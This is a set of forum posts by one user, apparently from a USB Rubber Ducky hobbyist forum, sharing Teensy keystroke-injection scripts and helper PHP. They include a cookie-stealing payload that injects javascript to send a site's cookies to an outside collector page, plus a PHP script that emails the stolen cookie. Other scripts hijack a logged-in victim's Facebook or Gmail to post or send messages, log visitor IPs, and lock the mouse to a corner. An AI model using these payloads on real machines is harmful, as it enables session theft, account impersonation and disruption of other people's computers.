vulg4h
-
Posts
12 -
Joined
-
Last visited
Posts posted by vulg4h
-
-
You don't even need the while statement if this is the only program on the ducky
Ah yeah you're right, was running low on sleep, my bad.
-
I wasn't aware that you could copy to the clipboard from php. If I get time I'll modify the script and code.
I think what NanoyMaster is talking more along the lines of saving it to a file located on the server.
For example, the following ip.php would save the content to ips.txt
<? $data = "IP: " . $_SERVER['REMOTE_ADDR'] . "\n"; $log_file = "ips.txt"; $f = fopen($log_file, 'a'); fwrite($f, $data); fclose($f); ?>
-
Ayee, nice idea here.
Also, you can just stick their mouse to the top left corner with:
void setup() { } void loop() { while(1) { Mouse.move(-9000,-9000); } }
-
Gah, it's working fine on mine and a friend's system.
Mac OS X
+ Firefox 3.5.9
+ Chrome 5.0.342.9 beta
Windows
+ Chrome 4.1.249.1064
Note: When attempted in Firefox, it did not show it was selected, but you could type regardless.
-
Could someone please test out the new code to see if it's get anywhere?
If stabilized, the search-escape method could help get to certain dynamically-located inputs.
-
It's tab 8 times for me. Friends request add's one. Also, the escape search thing doesn't work on Chrome for OS X. Not sure about other browsers.
*edit* This doesn't even work, all it's doing for me is bring up the start menu, and I don't feel like figuring out what is wrong right now. :/
Yeah, you know the Windows + R combo?
I incidentally made that CTRL + R, so uh... yeah.
Also, the initial browser test was Chrome for OS X, and I just tested again,
it seems to be working fine on my Firefox and Chrome.
It's Apple-F -> "what's going" -> ESC -> DELETE -> DELETE -> "msg"
Another edit, it was just tested on Chrome for Windows, everything seems to be peachy.
-
So, I'm pretty sure this works.
[ Windows ]
void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); sendClearKeys(); delay(500); Keyboard.print("cmd"); delay(1000); Keyboard.print("start http://tinyurl.com/gmail-minipose"); // mail.google.com/mail/x/?v=b&eot=1&cs=b enter(); delay(6000); // delay for browser to load Keyboard.print("to@email.com"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.print("subject here"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.print("message here"); Keyboard.set_modifier(MODIFIERKEY_TAB); sendClearKeys(); delay(100); Keyboard.set_key1(KEY_ENTER); sendClearKeys(); } void loop() { } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }
-
Note: In the code make "java script" one word.
ducky:
void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(100); Keyboard.print("www.msn.com"); // site of cookie theft enter(); delay(6000); Keyboard.set_modifier(MODIFIERKEY_CTRL); // CTRL-L Keyboard.set_key1(KEY_L); sendClearKeys(); delay(100); Keyboard.print("java script:document.location='http://site.com/savedatcookie.php?c='+escape(document.cookie)"); enter(); delay(2000); } void loop() { /* na-da */ } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
savedatcookie.php
<?php mail("you@email.com", "Cookie Stealer - ".$_SERVER['HTTP_REFERER'], $_GET['c']); ?>
-
Well TAB + ENTER on my facebook account is working.
Just make sure you add a second (or so) delay between the two.
Haha, yeah, I realized just before you posted that,
check out my edit.
I have this code done already for Windows and Mac OS X, I'll upload it later.Hint: Tab + Space, at http://m.facebook.com
Ah, damn.
But hmm, good thinking going towards the mobile approach.
-
Shouldn't you be able to just hit enter to submit the form?
Nope :/
It being a textarea, it just inserts a newline.
-
So a few things,
- Hi, I'm vulg4h. I'm new here. How ya' doin'?
- I can't test this because I don't have my Teensy yet, nor am I running Windows, atm.
- I figured out that by doing a search of content within a textarea, and escaping the search puts you in typing mode of the textarea.
- I love Rubber Ducky :D
- Figured it out, should be working now.
Lastly, here be thy code.
The community's posts have helped dearly.
void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.print("www.facebook.com"); enter(); delay(6000); // let browser load Keyboard.set_modifier(MODIFIERKEY_CTRL); // set browser to search-page Keyboard.set_key1(KEY_F); sendClearKeys(); delay(100); Keyboard.print("What's on"); // search for "What's on" Keyboard.set_key1(KEY_ESC); // escape search sendClearKeys(); delay(100); Keyboard.set_key1(KEY_DELETE); sendClearKeys(); delay(100); Keyboard.set_key1(KEY_DELETE); sendClearKeys(); delay(100); Keyboard.print("This is an automated update from the future."); // new status content delay(100); Keyboard.set_key1(KEY_TAB); sendClearKeys(); enter(); } void loop() { // Maybe a flashing LED? } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }
EDIT Boy, do I feel dumb. When I was going over the form to see how many tabs I need to submit it (I actually got up to 9), I somehow missed the first one. Code is working, now.
EDIT2 Typo.
EDIT3 Ha.... fixed the beginning. :|
[Version 1] [code][windows]post Ip To Twitter
in Classic USB Rubber Ducky
Posted
I don't really think it's the drivers, but rather than the current software and hardware limitations. I'm not saying it'd be impossible, but it wouldn't be a weekend project. I didn't see something on the forums about data, such as keystrokes being forwarded to the Teensy.